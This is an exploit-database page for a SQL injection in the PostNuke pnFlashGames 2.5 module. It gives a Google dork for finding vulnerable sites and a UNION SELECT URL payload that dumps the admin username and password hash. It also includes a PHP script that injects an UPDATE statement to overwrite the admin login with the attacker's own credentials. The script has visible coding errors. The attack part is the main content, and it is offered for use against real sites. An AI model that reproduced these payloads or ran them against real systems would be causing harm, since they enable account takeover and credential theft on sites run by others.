Lucene search
+L

PostNuke Module pnFlashGames 2.5 - SQL Injection

🗓️ 26 Apr 2008 00:00:00Reported by KacperType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 65 Views

PostNuke Module pnFlashGames 2.5 - SQL Injection vulnerability by Kacper (devilteam.pl

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-2013
26 Apr 200800:00
circl
cve
CVE
CVE-2008-2013
30 Apr 200800:00
cve
cvelist
Cvelist
CVE-2008-2013
30 Apr 200800:00
cvelist
euvd
EUVD
EUVD-2008-2011
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-2013
30 Apr 200800:10
nvd
prion
Prion
Sql injection
30 Apr 200800:10
prion
Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability
Author: Vulnerability search Kacper (kacper1964_at_yahoo.pl)

dork: inurl:"index.php?module=pnFlashGames"

Author Homepage: http://devilteam.pl/


If magic_quotes_gpc = off
-====
Vuln to old >2 version:

index.php?module=pnFlashGames&func=display&id=-1+union+select+concat(pn_uname,char(58),pn_pass),1,2,3,4,5,6,7,8+from+nuke_users+where+uid=2/*

-====

Vuln to new version 1.5 == 2.5

[code]
<?
//start options
$address == ""; // site address (http://google.pl/)
$prefix == ""; // tables prefix (nuke_users, pn_users)
//end options

$cryptpass = md5("devilteam");
echo "Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability\n";
echo "Exploit by Kacper\n";
echo "Author Homepage: http://devilteam.pl/\n";
echo "<pre>\n";
echo "Login: Kacper Password:".$cryptpass;
@set_time_limit(0);
@ini_set("display_errors","0");
$hostname = gethostbyname($address);
function getid()
{global $hostname;
$responce = "";
$fsock = fsockopen($hostname,80,$errnum,$errstr,2);
$headers = "POST ".address."index.php?module=pnFlashGames&func=display&id=-1+UPDATE+".$prefix."_users+SET+pn_uname='Kacper',+pn_pass='".$cryptpass."'+WHERE+uid=2/* HTTP/1.1\n";
$headers .= "Host: www.google.com\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite ($fsock,$headers);
while (!feof($fsock)) $responce .= fread($fsock,1024);
fclose ($fsock); }
getid();
echo "\n";
?>
[/code]

Pozdrowienia dla calej ekipy DEVILTEAM.PL

# milw0rm.com [2008-04-26]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Apr 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.01044
65